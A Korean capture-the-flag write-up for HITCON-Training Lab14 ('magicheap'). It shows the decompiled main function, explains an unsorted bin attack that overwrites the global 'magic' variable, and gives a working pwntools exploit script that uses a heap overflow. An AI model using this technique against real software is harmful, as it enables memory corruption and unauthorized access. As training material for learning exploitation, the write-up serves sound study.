[HITCON-Training]Lab14
메뉴는 이런식으로 구성되어있다.
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
메인 함수다. hidden menu가 존재해서 magic이라는 전역변수를 4869 이상으로 만들면 된다. 그러면 l33t
함수에서 cat flag
해준다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 != 3 )
break;
delete_heap(&buf, &buf);
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( magic <= 4869 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
unsorted bin attack문제다. magic을 main_arena + 88로 덮어주면 된다. 그러면 4869를 입력해서 플래그 얻을 수 있다.
exploit.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./magicheap')
p = process('./magicheap')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
magic = 0x0000000006020C0
def create(size,content):
sla(':','1')
sla(':',str(size))
sa(':',content)
def edit(index,size,content):
sla(':','2')
sla(':',str(index))
sla(':',str(size))
sa(':',content)
def delete(index):
sla(':','3')
sla(':',str(index))
def exit():
sla(':','4')
def shell():
sla(':','4869')
create(128,'A'*8)
create(128,'B'*8)
create(128,'C'*8)
delete(1)
edit(0,200,'D'*136 + p64(0x91) + p64(0) + p64(magic - 0x10))
create(128,'E'*8)
shell()
p.interactive()